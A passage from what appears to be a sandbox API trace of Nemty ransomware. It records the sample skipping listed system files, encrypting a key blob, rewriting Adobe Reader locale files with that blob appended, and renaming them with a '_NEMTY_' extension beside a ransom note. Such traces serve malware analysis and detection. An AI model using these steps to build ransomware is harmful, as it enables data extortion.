[0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="desktop.ini") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="CONFIG.SYS") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="RECYCLER") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="bootmgr") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="programdata") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="appdata") returned 1 [0175.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DEU", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.DEU", lpUsedDefaultChar=0x0) returned 11 [0175.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DEU", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.DEU", lpUsedDefaultChar=0x0) returned 11 [0175.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DEU", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.DEU", lpUsedDefaultChar=0x0) returned 11 [0175.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DEU", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.DEU", lpUsedDefaultChar=0x0) returned 11 [0175.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.475] Sleep (dwMilliseconds=0x5) [0175.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c3e1010, dwHighDateTime=0x1d561e8)) [0175.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c3e1010, dwHighDateTime=0x1d561e8)) [0175.482] GetLastError () returned 0x0 [0175.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.482] GetLastError () returned 0x0 [0175.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.482] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.482] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.483] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.483] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="buG6h5aW5WYmwzmiDW9qHJyLiEe/fuh557eDDG9gb2tkE+v+fivUGc4Z39uW1ldv\r\npHAMFov6LwGIAJ2a4U6eq+r83g+2Oz2HCfilwrduqA+6ln4AmJMVUcEAqo8yGGdP\r\nknToePyNnIXercu4HhTTODAArfQLIYiOqHcjFIpfDYBH+lN/AqDVSE1bcTP26dgl\r\ndPrjJaCvXeCH4m2OXafHDxy0v7MyzNiMUPjnqD8pTOy1Ca7sujJFuoy0kABnmQJL\r\n/mYWtAXN91oIX2LNl8NqxGszSmys21MVoaSFmYbMZ7ywQY+8+D8AUt7nNIPvb9zQ\r\nSxUI3ykL+YCfrSPiK64UJA==\r\n", pcchString=0x653e5dc) returned 1 [0175.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\updater.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\updater.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.483] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0175.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0175.483] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.483] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0175.485] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.485] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0175.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.486] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0175.486] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.486] CloseHandle (hObject=0x2e8) returned 1 [0175.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.486] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\updater.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\updater.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\updater.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\updater.deu._nemty_kgobjgd_")) returned 1 [0175.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.487] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.DEU", cAlternateFileName="")) returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2=".") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="..") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="...") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="windows") returned -1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="rsa") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="NTDETECT.COM") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="ntldr") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="MSDOS.SYS") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="IO.SYS") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="boot.ini") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="boot.ini") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="ntuser.dat") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="desktop.ini") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="CONFIG.SYS") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="RECYCLER") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="bootmgr") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="programdata") returned 1 [0175.487] lstrcmpiW (lpString1="Weblink.DEU", lpString2="appdata") returned 1 [0175.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DEU", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.DEU", lpUsedDefaultChar=0x0) returned 11 [0175.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DEU", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.DEU", lpUsedDefaultChar=0x0) returned 11 [0175.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DEU", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.DEU", lpUsedDefaultChar=0x0) returned 11 [0175.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DEU", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.DEU", lpUsedDefaultChar=0x0) returned 11 [0175.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.488] Sleep (dwMilliseconds=0x5) [0175.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c407170, dwHighDateTime=0x1d561e8)) [0175.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c407170, dwHighDateTime=0x1d561e8)) [0175.498] GetLastError () returned 0x0 [0175.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.498] GetLastError () returned 0x0 [0175.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.498] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.498] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.498] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.498] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="PsCbFFb8Zklnh1+m/AS8MY+G1bj4CceUrdJBD/W+hmFONlrN4weKUe0KYk3KT57r\r\nNF2lUNX2fJV7mEA2O5XCtrWn4xWymIz1GVXUykki6gGx/IruetPyP4YdISpirBzk\r\nYwOSx+NJHkxP3Nzy1vJKk8g/rghi5l1EqLkBcv1EcGrJQUPeu7rZC4p9Vk6AeHsy\r\nOmMWH1emn5/c3bozaygslzw4WpsltiHdU2VcC2XRSU3E9BXQUBF4s7pbdE+dt2zH\r\nialcNfF78/M2m5vBHvGsMoJ4J/KzSxBqnK6bsj7d+e6WM0PCA6s9V9EPFBOR4ZAN\r\nckglaVAfIm1s6z06lPBPSw==\r\n", pcchString=0x653e5dc) returned 1 [0175.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.498] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Weblink.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\weblink.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.499] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29696) returned 1 [0175.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7400) returned 0x6352c48 [0175.499] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.499] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7400, lpOverlapped=0x0) returned 1 [0175.502] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.502] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7400, lpOverlapped=0x0) returned 1 [0175.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.502] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7400 [0175.502] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.502] CloseHandle (hObject=0x2e8) returned 1 [0175.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.503] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Weblink.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\weblink.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Weblink.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\weblink.deu._nemty_kgobjgd_")) returned 1 [0175.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.503] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1be85e90, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1be85e90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1be85e90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0175.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0175.503] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0175.504] lstrcmpiW 